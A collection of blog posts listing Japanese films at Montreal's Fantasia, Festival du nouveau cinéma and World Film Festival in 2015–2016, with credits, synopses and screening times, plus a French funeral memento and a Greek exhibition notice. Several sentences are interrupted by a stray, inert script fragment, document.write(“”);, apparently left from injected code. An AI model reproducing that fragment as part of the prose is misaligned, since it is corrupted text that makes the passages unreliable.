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Japanese movies at Fantasia 2016

/ Clodjee / Leave a comment


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This week the programmation for the 20th edition of the Fantasia International Film Festival was announced. Twenty years, document.write(“”); that’s worth celebrating! It will be held in Montreal from July 14 to August 3 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. For more programming details you can check the festival’s web page at www.fantasiafestival.com, this year’s program [PDF] and screening schedule [PDF].

This year the festival offers 60 movies from Asia: 5 from China, 26 from Japan, 20 from Korea, 6 from Hong Kong, 1 from Taiwan, and 2 from Thailand.

As usual, we will concentrate our interest on the Japanese program that includes 4 anime (in total you can also find 33 other animated features — 29 shorts and 8 movies — from various countries). Besides Momotaro, Sacred Sailors, which is probably one of the first anime ever produced in Japan, there’s nothing out of the ordinary among those titles — although we’ve noticed that there’s lots of manga adaptations. Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

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Funérailles Claude E.

/ Clodjee / Leave a comment

Pour ceux qui n’ont pas pu être présent aux funérailles de Claude E., document.write(“”); en voici un petit mémento:
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Le montage audiovisuel est disponible sur Vimeo et les photos comme telles sont aussi disponible sur Flickr. (Mis à jour avec des photos de la mise en terre)

J’en profite pour remercier tous les parents et amis qui sont venu nous offrir leurs condoléances et support en ce moment difficile.

Plusieurs m’ont demandé de pouvoir revoir le montage commémoratif que j’ai fait pour les funérailles. Le voici donc:

https://player.vimeo.com/video/144246852?byline=0&portrait=0
La video est disponible sur Vimeo (une version avec un peu plus de photo y est aussi disponible) et l’album photo commémoratif (annoté) est quand à lui disponible sur Flickr.

Ne soyez pas tristeCélébrez plutôt sa merveilleuse existenceSouvenez-vous de luiCar c’est notre devoir de le commémorerSouvenez-vous de luiCar il vivra toujours dans nos mémoires

Merci encore une fois.

[ Translate ]

Festival du Nouveau Cinema 2015

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“More than anything, document.write(“”); the Festival du nouveau cinéma is about a spirit, the spirit of good company, revelry and fun. Every edition is a chance to get together and celebrate our shared passion for film around each new lineup. The eleven-day Festival is designed as a space devoted to discussions, meetings and sharing, where film fans can come together with artists and professionals to exchange ideas in an informal setting. (…) [T]he Festival du nouveau cinéma, resolutely forward-looking, has long been the unfailing advocate of new technologies. Each year, the Festival seeks out new developments that move cinema forward (…)! The Festival (…) is a showcase for cinema of all types, from offbeat, one-of-a-kind niche works to crowd-pleasers to daringly innovative big events. (…) Cinema at its best, shorts and features, documentaries and fiction from Quebec and around the world (…). [T]he programming team puts together a rich, varied lineup to celebrate local and international cinema the way it deserves, year after year.“
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The 44th edition of the Festival du nouveau cinéma will be held from october 7 to 18 in various location in Montreal (Theatre Maisonneuve, Pavillion Judith-Jasmin Annexe at UQAM, Cinéma du Parc, Cineplex Odéon Quartier Latin and Université Concordia). It’s offering 350-odd movies from around the world, including ten Japanese movies. More details on the festival website and Facebook page.

For more information about the Japanese programming, you can check the Coco Montréal website. I’ve also gather some useful information and links (after the jump):

  • An (?? / lit. “Sweet Red Bean Paste”): Japan/France/Germany, 2015, 113 min; Dir.: Naomi Kawase; Cast: Kirin Kiki, Masatoshi Nagase, Kyara Uchida.

    “At seventy, Tokue is sure of herself, thanks to her secret recipe for exceptional dough for dorayaki, a traditional, irresistibly delicious Japanese sweet cake filled with red bean paste. In her mind, there is no doubt: Sentaro, the lonely dorayaki vendor who doesn’t like sugar, must hire her. The idea turns out to be good, because once Tokue gets involved, the little shop’s sales take off. While the old lady teaches her boss to “listen to the beans,” she can’t hide her secret for very long.” (from the Festival’s website)

    Screening as a special presentation: Sat 10/10 15:30 at Auditorium Alumni H-110 (Concordia); Sun 10/18 21:00 at Cineplex Odeon Quartier Salle 10.

  • Belladonna of Sadness (????????? / Kanashimi no Beradonna): Japan, 1973, 86 min; Dir.: Eiichi Yamamoto; Scr.: Eiichi Yamamoto & Yoshiyuki Fukuda (based on a book by Jules Michelet); Mus.: Masahiko Satô; Animation: Gisaburo Sugii; Prod.: Osamu Tezuka; Cast: Katsuyuki Itô, Aiko Nagayama, Shigako Shimegi, Masaya Takahashi, Netsuke Yashiro, Masakane Yonekura.

    “Never before officially released in North America, this one-of-a-kind cult classic can now be enjoyed in all of its splendour through a new restoration based on original negatives. [P]roduced by the legendary Osamu Tezuka’s studio Mushi Production (…). Based on a book by Jules Michelet (Satanism and Witchcraft, 1862), it tells the tragic feminist tale of a 14th-century peasant woman driven by religious oppression to give herself body and soul to witchcraft and the sulphurous charms of the devil.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/10 19:00 at Salle J.A. De Sève (Concordia); Sat 10/18 19:00 at Cinéma du Parc 2.

  • The birth of saké: USA/Japan, 2015, 94 min; Dir./Scr./Phot.: Erik Shirai; Ed.: Takeshi Fukunaga, Frederick Shanahan; Prod.: Makoto Sasa.

    “In northern Japan, the small Tedorigawa brewery has been making its saké using the same artisanal methods for more than a century. From October to April, the workers, all men, live together at the brewery and work non-stop, even when mourning. Cooking the rice, stirring it by hand, overseeing its fermentation… it is a sacred ritual, conducted silently in a shroud of steam. (…) There is a good reason saké is not “manufactured” but rather “born”: it is a beverage, but it is also history and culture.” (from the Festival’s website)

    Screening as part of the “Panorama” segment (documentary): Thu 10/15 19:00 at Cinéma du Parc 1; Sat 10/17 19:00 at Centre PHI – Espace B.

  • The Diary of Ochibidi (????? / Ochibi-san): Japan, 2015, 8 min; Dir./Scr.: Masashi Kawamura; Phot.: Kan Sugiki; Ed.: Hidehisa Watanabe; Animation: Shuhei Harada, Tetsuo Ichimura, Junko Negishi, Saki Omita, Kenta Shinohara, Moe Usami; Mus.: Kenjiro Matsuo, Yuichi Nakamura.

    “The film is loosely based on the famous manga Ochibi-san, by Moyoco Anno, about the day-to-day life of Ochibi as she experiences the 4 seasons of Japan.” (from the Festival’s website)

    Screening as part of the “P’tits Loups” segment: Sat 10/10 10:00 at Agora Hydro-Québec du Coeur des sciences.

  • Journey to the shore (???? / Kishibe no Tabi): Japan/France, 2015, 127 min; Dir.: Kiroshi Kurosawa; Scr.: Takashi Ujita, Kiyoshi Kuroswa (based on a novel by Kazumi Yumoto); Cast: Eri Fukatsu, Tadanobu Asano, Yu Aoi, Akira Emoto.

    “Yusuke drowned in the ocean three years ago. But one day, he reappears in the middle of Japan, more specifically in the life of his strangely unsurprised wife, Mizuki, a piano teacher, who he invites on a journey through villages and rice paddies. On their journey, there is no confrontation; there are, rather, opportunities to rebuild their bond and meet others who, like him, are still wandering. What they will find at the end is, perhaps, eternal peace.” (from the Festival’s website)

    Screening as a special presentation: Thu 10/08 14:00 at Cinéma du Parc 1; Sat 10/17 16:30 at Auditorium Alumni H-110 (Concordia).

  • Oyster Factory (???? / Kaki Kouba): Japan/USA, 2015, 145 min; Dir.: Kazuhiro Sôda; Cast: Shinsuke Hirano, Koichi Watanabe, Yukiko Watanabe.

    “Once there were twenty or more. Now, in the Japanese coastal village of Ushimado, there are only six. The gradual disappearance of small, family-run oyster factories may be a sign of the times, but it is more than a symbolic change: it also has very real consequences for fishermen, manual labourers and local residents, who are not happy to see workers being brought in from outside.” (from the Festival’s website)

    Screening as part of the “Panorama” segment (documentary): Sat 10/10 18:30 at Cinéma du Parc 2; Sun 10/11 13:00 at Cinéma du Parc 2.

  • The Taste of Tea (??? / Cha no Aji): Japan, 2004, 120 min; Dir./Scr.: Ishii Katsuhito; Phot.: Kosuke Matushima; Ed.: Katsuhito Ishii; Mus.: Little Tempo; Cast: Tadanobu Asano, Takahiro Sato, Maya Banno, Satomi Tezuka, Tomokazu Miura, Tatsuya Gashuin, Anna Tsuchiya, Rinko Kikuchi.

    “A spell of time in the life of a family living in rural Tochigi prefecture, north of Tokyo. Though her husband is busy working at an office, Yoshiko is not an ordinary housewife, instead working on an animated film project at home. Uncle Ayano has recently arrived, looking to get his head together after living in Tokyo for several years. Meanwhile, Yoshiko’s daughter Sachiko is mainly concerned with why she seems to be followed around everywhere by a giant version of herself.” (from the Festival’s website)

    Screening as special presentation commented by Jean-Marc Vallée: Fri 10/09 19:00 at Cinéma du Parc 1.

  • Sumo Road: The Musical (????????? / Dosukoi Musical): Japan, 2015, 25 min; Dir./Scr.: Ken Oshiai; Phot.: Chris Freilich; Ed.: Chieko Suzaki; Mus.: Nobuko Toda; Cast: Tetsu Watanabe, Ryusuke Komakine, Lin Yu Chun, Gitarô Ikeda.

    “An over- weight exchange student with no friends decides to join the sumo team at a Japanese university.But to ensure his spot, he must stand up to the team leader and face him in an ultimate sumo match. Can he embrace the spirit of sumo or will he be cast out and friendless once again?” (from the Festival’s website)

    Screening as part of the “Compétition International” segment: Mon 10/12 17:00 at Pavillon Judith-Jasmin annexe (Salle Jean-Claude Lauzon); Wed 10/14 13:00 at Pavillon Judith-Jasmin annexe (Salle Jean-Claude Lauzon).

  • The whispering star (????? / Hiso Hiso Boshi): Japan, 2015, 100 min; Dir./Scr.: Sion Sono; Phot.: Hideo Yamamoto; Ed.: Junichi Ito; Prod. Des.: Takeshi Shimizu; Cast: Megumi Kagurazaka, Kenji Endo, Yûto Ikeda, Mori Kouko.

    “Yoko (Megumi Kagurazaka) is a robot employed by a courier company. In her interstellar ship, shaped like a little Japanese house, she scoots back and forth across the galaxy, delivering parcels and news to people everywhere. Yoko is terribly bored, and eventually can no longer resist looking inside the parcels to learn more about the very strange phenomenon that is human nature.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Sat 10/10 17:00 at Cineplex Odeon Quartier 10; Sun 10/11 21:00 at Cinéma du Parc 1.

  • Yakuza apocalypse (????? / Gokudo Daisenso): Japan, 2015, 115 min; Dir.: Takashi Miike; Scr.: Yoshitaka Yamaguchi; Phot.: Hajime Kanda; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Prod. Des.: Akira Nakamoto; Cast: Hayao Ichihara, Yayan Ruhian, Riko Narumi, Lily Franky, Reiko Takashima.

    “He’s a benevolent vampire yakuza feared by criminals and adored by regular folk. One day two men show up: a Django-like goth preacher and a geeky fighter (none other than Yayan Ruhian from Raid 2). They belong to a rival cartel that wants him dead. But just before he dies, the yakuza vampire bites his faithful right-hand man, young Kageyama. What happens next? The apocalypse, obviously!” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Tue 10/13 19:00 at Cineplex Odeon Quartier 10; Wed 10/14 21:00 at Cineplex Odeon Quartier 10.

[ Traduire ]

Montreal World Film Festival 2015

/ Clodjee / 1 Comment

The 39th edition of the Montreal World Film Festival will take place from August 27th to September 7th 2015, document.write(“”); at the Imperial (1430 Bleury – Metro Place des Arts) and Quartier Latin (350 rue Emery – Berri-UQAM) theatres. Tickets will be available from August 22 at noon at the offices of the Imperial (CI) and Quartier Latin (QL) theatres, as well as online through the Admission Network website. Individual tickets are $ 10, Passports are $ 120 and Cinephile Card is $ 250. Booklets of 10 coupons redeemable against individual tickets are available for $ 70. More details on the festival website: www.ffm-montreal.org.
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This year there was no real press conference about the programming and instead the festival unveiled the line-up of films in the World Competition and the First Films Competition through press releases and a virtual press conference where both domestic and international media could simultaneously participate in an online Q&A session. So far, since then, the information has been trickling down little by little and we don’t know much about the festival programming. They said that “A digital age requires a digital solution,” but I guess it has also a lot to do with the lack of subsidies and the resulting reduced staff. I don’t mind a little austerity as long at it gets the festival going and brings us the diversified, quality cinema the festival is renown for.

We know that, this year, a record number of short films were submitted; that the opening movie will be Muhammad, the latest film by renowned Iranian director Majid Majidi; that this year’s festival will offer movies from over 86 countries; that the competition line-up will includes 26 Feature films from 31 countries for the World Competition, plus 25 more movies for the First Feature Competition, and that both competitions will include 36 World Premieres; we know the composition of both the jury for the Grand Prize of the Americas and the jury for the First Feature Prize; finally, a couple of days after the virtual press conference, the festival announced that twenty-four features from a score of countries will be shown in the World Greats (out of competition) category.

Here our interest is mostly with the Japanese movies. At first, with the festival press releases and an article in the august edition of Coco Montreal, we determined that the festival would show at least fourteen Japanese movies. However, with the release of the schedule we astonishingly discovered that a record-breaking number of Japanese movies will be shown this year: seventeen (twenty-one if we count a Liberian movie with a Japanese director, a four-minute short and two documentaries)! See the films index for details. (updated 2015-08-21)

Be careful, the schedule of some movies has changed (updated 2015-08-28).

Coco Montreal have put a more detailed article (this time with english and french translation) on the festival’s Japanese movies in their September issue (available both in the issuu.com flash version and on their Facebook page). [updated 2015-09-01]

You can now read some comments about the Festival’s Japanese movies (in french) in the first part of the article by my esteemed colleague Claude R. Blouin on the blog Shomingeki. [updated 2015-09-03]

You will find, after the jump, a list of all those movies (plus a few useful links — of course, more details and links will be added as the information become available):


World Competition / Film en compétition

  • Gassoh (??): Japan, 2015, 87 mins; Dir.: Tatsuo Kobayashi; Scr.: Aya Watanabe (based on the manga by Hinako Sugiura); Phot.: Hitoshi Takaya; Music: Asa-Chang; Cast: Yuya Yagira (Kiwamu Akitsu), Koji Seto (Masanosuke Yoshimori), Amane Okayama (Teijiro Fukuhara), Joe Odagiri, Mugi Kadowaki, Minami Sakurai, Kai Inowaki, Yuko Takayama, Reiko Fujiwara, Daisuke Ryu, Rie Minemura, Mantaro Koichi, Lily.

    The final resistance to the dismantling of the Togugawa Shogunate at the end of the Edo period and the futile struggles of three young men who participated in the Shougitai resistance.

    Schedule: Thu 9/03 9:00 CI; Thu 9/03 21:30 CI.

First Feature Competition / Compétition de premières oeuvres

  • Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

    When their claim to have seen a phantom deer is debunked, three young siblings are denigrated. Now, 25 years later, their father dying, the wounds are still raw.

    Schedule: Thu 9/03 11:00 QL9; Fri 9/04 16:00 QL9.

    You can read my comments.

  • Kagura-me (????): Japan, 2015, 112 mins; Dir.: Yasuo Okuaki; Scr.: Yasuo Okuaki & Nozomu Namba; Music: Kôji Igarashi; Phot.: Hiroshi Iwanaga; Prod. Des.: Takashi Yoshida; Cast: Tomomitsu Adachi, Mayumi Asaka, Masayuki Imai, Tsunehiko Kamijô, Mei Kurokawa, Ryoichi Kusanagi, Ryû Morioka, Nanako Ohkôchi, Maki Seko, Masayuki Shida, Keiko Shirasu, Rina Takeda, Ryoko Takizawa, Mariko Tsutsui, Ren Ôsugi.

    A woman bears a 13-year grudge with her father over the traditional dance he was performing that caused him to be absent from her mother’s death.

    Schedule: Fri 8/28 9:00 QL9; Sat 8/29 15:00 QL9.

    You can read my comments and watch a video of the screening introduction.

  • Lost and found (?????????? / Hoshigaoka Wonderland): Japan, 2015, 111 mins; Dir.: Show Yanagisawa; Scr.: Show Yanagisawa, Koko Maeda; Phot.: Keisuke Imamura; Ed.: Etsuko Kimura; Music: Takashi Watanabe; Cast: Tomoya Nakamura (Atsuto Seo), Nozomi Sasaki (Nanami Kiyokawa), Yoshino Kimura (Sawako Kiyokawa—Atsuto’s mother), Masaki Suda (Yuya Kiyokawa), Anne Watanabe (Detective Tsunako Obayashi), Hayato Ichihara (Jingo Kusunoki), Hirofumi Arai (Tetsundo Seo—Atsuto’s older brother), Yutaka Matsushige (Touji Seo—Atsuto’s father).

    When Haruto learns that his long estranged mother committed suicide in an amusement park he immediately suspects foul play.

    Schedule: Sun 9/06 15:30 QL9; Mon 9/07 20:00 QL9.

  • Neboke (???): Japan, 2015, 115 mins; Dir./Scr./Phot./Ed.: Norihito Iki; Music: Yusuke Orita; Cast: Yasushi Tomobe, Irifunetei Senryu, Kana Ohtake, Maki Murakami, Yuji Akiyama.

    Sangoroh, a rakugo artist, has a drinking problem and is annoyed by his partner Manami’s pestering him about it. Can he get his life in order before it’s too late.

    Schedule: Sat 9/05 14:30 QL9; Sun 9/06 10:00 QL9.

World Great (Out of Competition) / Hors-concours

  • Blood Bead (????/ Akai Tama / Perle de sang): Japan, 2015, 108 min.; Dir./Scr.: Banmei Takahashi; Music: Gorô Yasukawa; Phot.: Shinji Ogawa; Ed.: Kan Suzuki; Cast: Eiji Okuda (Shuji Tokita), Fujiko (Yui Oba), Yukino Murakami (Ritsuko Kitakoji), Shota Hanaoka (Kenichi Yajima), Shiori Doi (Aiko Kato), Tasuku Emoto (Aoyama), Keiko Takahashi (Yuriko).

    Tokita would rather be making movies than teaching about them in film school. But it pays the bills and there’s always Yui, the pretty school secretary. Then Ritsuko enters his life…

    Schedule: Fri 8/28 10:00 QL10; Sat 8/29 19:00 QL10.

    You can read my comments and watch a video of the screening introduction and Q&A session.

  • The Next Generation Patlabor — Tokyo War (The Next Generation ????? ? ???? / Patoreiba: Shuto Kessen / Lit. “Patlabor: Decisive battle over the capital”): Japan, 2015, 93 min.; Dir./Scr.: Mamoru Oshii; Phot.: Hiroshi Machida, Tetsuya Kudo; Art Dir.: Anri Jojo; Ed.: Yoshinori Ohta; Music: Kenji Kawai; Labor Design: Hideki Hashimoto, Katsuya Terada; Cast: Toshio Kakei (Keiji Gotoda), Erina Mano (Akira Izumino), Seiji Fukushi (Yuma Shiobara), Rina Ohta (Kasya), Shigeru Chiba (Shigeo Shiba), Kanna Mori (Rei Haihara), Kotaro Yoshida (Onodera), Reiko Takashima (Kei Takahata), Yoshinori Horimoto (Isamu Otawara), Shigekazu Tajiri (Hiromichi Yamazaki), Kohei Shiotsuka (Shinji Mikiya), Yoshikazu Fujiki (Yoshikatsu Buchiyama).

    In a world where giant robots are built and used for labour, a special police force of robots is created to handle crimes relating to these machines: the Patrol Labor.

    Schedule: Sat 8/29 9:30 QL9; Sun 8/30 21:30 QL9.

    You can read my comments.

Focus on World Cinema

  • At home (??????): Japan, 2015, 110 min.; Dir.: Hiroshi Chono; Scr.: Teruo Abe (based on the novel by Takayoshi Honda); Music: Takatsugu Muramatsu; Phot.: Shinya Kimura; Ed.: Osamu Suzuki; Prod. Des.: Shin Nakayama; Cast: Yutaka Takenouchi (Thief), Yasuko Matsuyuki (Swindler), Kentaro Sakaguchi (Jun Moriyama), Yuina Kuroshima (Asuka Moriyama), Yuto Ikeda (Takashi Moriyama), Jun Kunimura, Itsuji Itao, Seiji Chihara.

    A father, a mother, an elder son, a daughter and a younger son. A family of five. For all appearances, a perfectly normal, happy family. But none of them related.

    Schedule: Fri 8/28 12:00 QL12; Sat 8/29 18:30 QL12.
    You can read my comments and watch a video of the Q&A session.

  • Blowing in the wind of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

    When Misao returns to Japan from Vietnam for her father’s funeral, she sees that her mother is becoming forgetful, even a bit senile. Can a change of scenery help?

    Schedule: Fri 8/28 9:30 QL12; Sat 8/29 21:30 QL12.

    You can read my comments.

  • Decline of an assassin (??????????/ Norainu ha dansu wo odoru / lit. “Stray dogs are dancing”): Japan, 2015, 100 min.; Dir./Scr./Ed.: Kubota Shouji; Phot.: Hiromitu Nishimura; Music: Ipeei Yogo; Cast: Yoshimasa Kondo, Keisuke Kato, Shogo Suzuki, Hidetoshi Kubota, Yuri Yanagi, Kouta Kusano.

    After four decades as the reliable hitman for a criminal gang, Kurosawa is now making mistakes. It may be time to retire. But how can he ever return to “normal” life?

    Schedule: Fri 8/28 20:30 QL16; Sat 8/29 12:00 QL16; Sat 9/05 21:30 Ql11.

  • Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

    Back in his hometown after retirement, Takashi Arimura finds life depressing. On his wife’s suggestion he takes up painting. The world now looks very different.

    Schedule: Sun 8/30 16:00 QL16; Mon 8/31 9:10 QL16.

    You can read my comments.

  • Haman (???/ slang blend, or portemanteau expression from ? [Ha, tooth] and ???? [Omanko, vagina] meaning toothed vagina): Japan, 2015, 95 min.; Dir./Scr.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Ed.: Tetsuya Okabe; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

    Love can be deadly but when Haruka decided to make love with her boyfriend she never expected it to be literally true. A dark fantasy about life, sex and love.

    Schedule: Tue 9/01 15:50 QL16; Wed 9/02 20:30 QL16.

    You can read my comments.

  • Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarö Shimazu, Kazuki Tsujimoto.

    Four ninjas, forty corpses, four conflicting accounts. A ninja action tale with a Rashomon twist.

    Schedule: Fri 8/28 16:00 QL12; Sat 8/29 9:00 QL12.

    You can read my comments.

  • Out of my hand: USA/Liberia, 2015, 87 min.; Dir.: Takeshi Fukunaga. Scr.: Takeshi Fukunaga & Donari Braxton; Phot.: Ryo Murakami, Owen Donovan; Ed.: Takeshi Fukunaga, Eugene Yi; Prod. Des.: Steve Grisé, Ioannis Socholakis; Music: Tyondai Braxton; Cast: Bishop Blay (Cisco), Zenobia Taylor (Joy), Duke Murphy Dennis (Francis), Rodney Rogers Beckley (Marvin), David Roberts (Jacob), Shelley Molad (Maria).

    A struggling Liberian rubber plantation worker risks everything to discover a new life as a Yellow Cab driver in New York City.

    Schedule: Sun 8/30 17:00 QL17; Mon 8/31 15:00 QL17.

  • Shinjuku Midnight Baby (????????????): Japan, 2015, 141 mins; Dir./Scr./Phot.: Kazuhiro Teranishi (based on his own book); Ed.: Kiyomi Tochiya; Music: Daisuke Sunny;Cast: Shimako Iwai, Ginji Yoshikawa, Britney Hamada, Tomoko Nakajima, Kimin, Yukimi Watanabe, Hidetsugu Ohara, Marcos Tôma.

    When the son of a government minister wants to be in Japan’s first gay marriage – to one of her political supporters, no less – a mysterious lawyer offers to help.

    Schedule: Fri 9/04 16:00 QL11; Sat 9/05 21:30 QL11; Fri 8/28 10:00 QL11; Sat 8/29 21:30 QL11.

  • Summer on the frontline (???? 15??? / Soman kokkyo 15 sai no natsu / Summer of 15 years old on the Soviet national border): Japan, 2015, 94 min.; Dir./Scr.: Tetsuya Matsushima (based on his own novel); Phot.: Kazuo Okuhara; Ed.: Seiichi Miyazawa; Music: Koji Ueno; Cast: Ryuuchiro Shibata, Anna Kijima, Min Tanaka, Isao Natsuyagi.

    When the great earthquake of 2012 destroys his high school’s filmmaking equipment, Keisuke, 15, looks forward to a dull summer. He couldn’t be more mistaken.

    Schedule: Thu 9/03 16:00 QL13; Fri 9/04 10:00 QL13.

  • That’s It (???? / Soredake) : Japan, 2015, 110 min.; Dir.: Gakuryu Ishii; Scr.: Kiyotaka Inagaki; Phot.: Yoshiyuki Matsumoto; Music: Bloodthirsty Butchers; Cast: Shota Sometani, Erina Mizuno, Kiyoko Shibukawa, Jun Murakami, Go Ayano.

    A young drifter hoping to escape from his social dead end, breaks into a gangster’s locker in search of gold. What he finds is a hard drive with very dangerous information.

    Schedule: Fri 9/04 20:00 QL13; Sat 9/05 10:00 QL13.

  • The Letters (????? / Popura no aki / lit. “Autumn poplar”): Japan, 2015, 98 min.; Dir./Scr./Ed.: Ken’ichi Ohmori (based on a novel by Kazumi Yumoto); Phot.: Masao Nakabori; Cast: Nene Ohtsuka, Tamao Nakamura, Miyu Honda.

    Chiaki, 8, devastated by the death of beloved father, moves into an apartment whose landlady claims to be able to deliver letters to the dead.

    Schedule: Fri 9/04 9:00 QL12; Sat 9/05 19:30 QL12.

  • Yoko the cherry blossom (Yoko Zakura) : Japan, 2015, 115 min.; Dir./Scr.: Gen Takahashi; Phot.: Phil Harder; Ed.: Yoshinori Ota; Music: Benjamin Be’doussac; Cast: Takashi Sasano, Koji Matoba, Maki Miyamoto, Yuki Kazamatsuri.

    The true story of a Japanese teacher’s quest to create a hybrid cherry blossom, to fulfill a promise he made to his students before they were sent off to die in World War II.

    Schedule: Thu 9/03 14:00 QL12; Fri 9/04 16:30 QL12.

Documentaries

  • Alone in Fukushima (????????? / Naoto hitorikkiri): Japan, 2015, 98 min., Dir./Scr./Phot./Ed.: Mayu Nakamura; Music: Saho Terao; Sound: Masashi Furuya.

    Alone in Fukushima is a feature length documentary about Naoto Matsumura, a man who remained alone in a no-man’s land after the nuclear disaster. The film follows Naoto struggling to survive with the animals in a small town which Japan tries to erase from the map.

    Schedule: Tue 9/01 16:00 QL14; Sat 9/05 16:00 QL2.

  • Behind “The Cove” (?????????? / `Za k?vu’ no uragawa): Japan, 2015, 110 min.; Dir./Scr./Phot./Ed.: Keiko Yagi.

    Keiko Yagi never bothered to see the 2010 film THE COVE, thinking it just another exaggerated attack on Japan’s dolphin hunt. But she decided to see for herself.

    Schedule: Fri 9/04 21:30 QL14; Sat 9/07 14:30 QL14.

Shorts

  • Master Blaster: Japan, 2015, 4 min.; Dir./Scr./Phot./Ed.: Sawako Kabuki.

    An animated short in competition at the Student Film Festival. A girl would like to hide in her sweetheart’s anus, to be with him forever.

    Schedule: Mon 8/31 16:00 QL2; Tue 9/01 16:00 QL2.

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Fantasia awards

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As usual the 19th edition of the Fantasia International Film Festival was a great success. Not only it is now considered North America’s longest-running genre film festival with its 195 screenings over twenty-three days but it also had an attendance of over 100, document.write(“”); 000 spectators for six consecutive years.

Several Japanese movies won awards again this year:

  • TAG by Sion Sono received the Cheval Noir Award for Best Film
  • Tomoe Kanno (for LA LA LA AT ROCK BOTTOM) received the Cheval Noir Award for Best Screenplay
  • Subaru Shibutani (for LA LA LA AT ROCK BOTTOM) received the Cheval Noir Award for Best Actor
  • Reina Triendl (for TAG) received the Cheval Noir Award for Best Actress
  • Sion Sono’s TAG also received a Special Mention “for its creative, surprising, and monumental opening kill sequence”
  • MISS HOKUSAI by Keiichi Hara received no less than three awards: the Satoshi Kon Award for Best Animated Feature Film, the Prix Séquences, as well as the Best Animated Feature Audience Award (Gold Prize)
  • LOVE & PEACE by Sion Sono received the Best Asian Feature Audience Award (Gold Prize)

Surprisingly, Attacks on Titan, the latest sensation from Japan, didn’t win any prize.

The dates for next year festival (the 20th anniversary edition!) were also announced: The Fantasia International Film Festival will take place in Montreal from July 14 to August 2, 2016.

For more details on all Japanese movies you can check our previous entry “Japanese movies at Fantasia 2015”.

For an overview of the Japanese movies you can check Claude R. Blouin’s extensive comments “Un vieux fou de cinéma japonais à Fantasia 2015” on the Shomengeki blog (in french).

(Sources: ANN, Dread Central, Fangoria, Fantasia, Twitch)

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Japanese movies at Fantasia 2015

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This week the programmation for the 19th edition of the Fantasia International Film Festival was announced. It will be held in Montreal from July 14 to August 4 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. This year the festival is offering a lineup of about 400 movies from 36 countries, document.write(“”); including about 135 feature-length movies and 104 premieres! For more programming details you can check the festival’s web page at www.fantasiafestival.com and the screening schedule [ PDF ].

Here our main interest is the Japanese programming (25 features and one short) but there are twenty-seven movies from at least five other asian countries (four from China, thirteen from South Korea, six from Hong Kong, one from Indonesia, two from Taiwan and one from Thailand). The programming includes also over an hundred animated features and shorts from many countries. As usual, it’s a rich, strong and diversified selection bound to please anyone.

This year, it’s a slim pick anime-wise but to compensate the festival will open with the Japanese animated feature Miss Hokusai, which will be introduced by director Keiichi Hara and screenplay writer Miho Maruho. To the utter pleasure of the fans, the festival will also close with the canadian premiere of the greatly anticipated live-action Attack on Titan directed by Shinji Higuchi and based on the popular manga by Hajime Isamaya. The other anime and manga-related movies of interest are the Lupin the Third live-action, the latest Mamoru Oshii (Nowhere Girl) and the latest Takeshi Kitano (Ryuzo and the Seven Henchmen).

(Sources: Animation world network, Bible urbaine, Cult Mtl, Film school rejects and Métro)

Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

Documentary:

And here’s a few trailers of interest:

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The Greeks

/ Clodjee / 1 Comment

“Pointe-à-Callière Presents the World Première of the Largest Exhibition on Ancient Greece Ever Produced in North America.”
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“The exhibition spans over 5, document.write(“”); 000 years of Greek history and culture and takes visitors on an exceptional and fascinating journey back to the origins of the cradle of Western civilization, its heritage and the traces it has left in the hearts and minds of the Greek people.”

This exceptional exposition is presented at Pointe-à-Callière: Montréal Museum of Archaeology and History in Old Montréal, from December 12, 2014 to April 26, 2015. Only one month left to visit it, so hurry up and go have a look!

The exhibition is produced by the Hellenic Ministry of Culture and Sports (Athens, Greece), Pointe-à-Callière, Montréal Archaeology and History Complex (Montréal, Canada), the Canadian Museum of History (Gatineau, Canada), The Field Museum (Chicago, USA), and the National Geographic Museum (Washington, DC, USA). ©Pointe-à-Callière, Montréal Museum of Archaeology and History. All rights reserved. You will find more information on the museum web page and Youtube channel.

This is a fifteen seconds promo for the exposition, but the museum Youtube channel also offers a longer promo (1:00) and a short video (1:06) showing how the exposition was put together. A longer video (in french only, 3:10) shows more of the making of the exposition and explains why it is so exceptional.


